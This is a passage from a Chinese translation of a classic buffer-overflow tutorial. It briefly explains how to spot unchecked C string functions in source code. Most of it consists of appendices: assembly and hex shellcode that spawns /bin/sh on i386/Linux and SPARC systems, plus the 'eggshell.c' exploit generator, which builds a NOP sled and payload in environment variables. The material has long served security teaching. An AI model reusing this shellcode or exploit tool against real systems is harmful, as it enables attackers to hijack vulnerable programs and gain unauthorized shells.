------------------------------------------------------------------------------
一次成功! 它显著提高了我们的成功率. 依赖于破解程序和被破解程序比较环境数据 的多少, 我们推测的地址可能高也可能低于真值. 正和负的偏移量都可以试一试.
寻找缓冲区溢出漏洞 ~~~~~~~~~~~~~~~~~~~~~ 如前所述, 缓冲区溢出是向一个缓冲区填充超过其处理能力的信息造成的结果. 由于C 语言没有任何内置的边界检查, 写入一个字符数组时, 如果超越了数组的结尾就会造成溢 出. 标准C语言库提供了一些没有边界检查的字符串复制或添加函数. 包括strcat(), strcpy(), sprintf(), and vsprintf(). 这些函数对一个null结尾的字符串进行操作, 并 不检查溢出情况. gets()函数从标准输入中读取一行到缓冲区中, 直到换行或EOF. 它也不 检查缓冲区溢出. scanf()函数族在匹配一系列非空格字符(%s), 或从指定集合(%[])中匹 配非空系列字符时, 使用字符指针指向数组, 并且没有定义最大字段宽度这个可选项, 就 可能出现问题. 如果这些函数的目标地址是一个固定大小的缓冲区, 函数的另外参数是由 用户以某种形式输入, 则很有可能利用缓冲区溢出来破解它.
另一种常见的编程结构是使用while循环从标准输入或某个文件中一次读入一个字符到 缓冲区中, 直到行尾或文件结尾, 或者碰到别的什么终止符. 这种结构通常使用getc(), fgetc(), 或getchar()函数中的某一个. 如果在while循环中没有明确的溢出检查, 这种程 序就很容易被破解.
由此可见, grep(1)是一个很好的工具命令(帮助你找到程序中可能有的漏洞). 自由操 作系统及其工具的源码是可读的. 当你意识到其实很多商业操作系统工具都和自由软件有 着相同的源码时, 剩下的事情就简单了! :-) 附录 A - 不同操作系统/体系结构的shellcode ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux ------------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------------
SPARC/Solaris ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------------
SPARC/SunOS ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 ------------------------------------------------------------------------------ 附录 B - 通用缓冲区溢出程序 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h ------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) { __asm__("movl %esp,%eax"); }
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); }
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); }
#endif ------------------------------------------------------------------------------
eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include <stdlib.h> #include <stdio.h> #include "shellcode.h"
#define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); }
if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); }
if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); }
addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;
ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; }
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4); putenv(egg);
memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); }
void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offs et>]\n"); } ------------------------------------------------------------------------------
|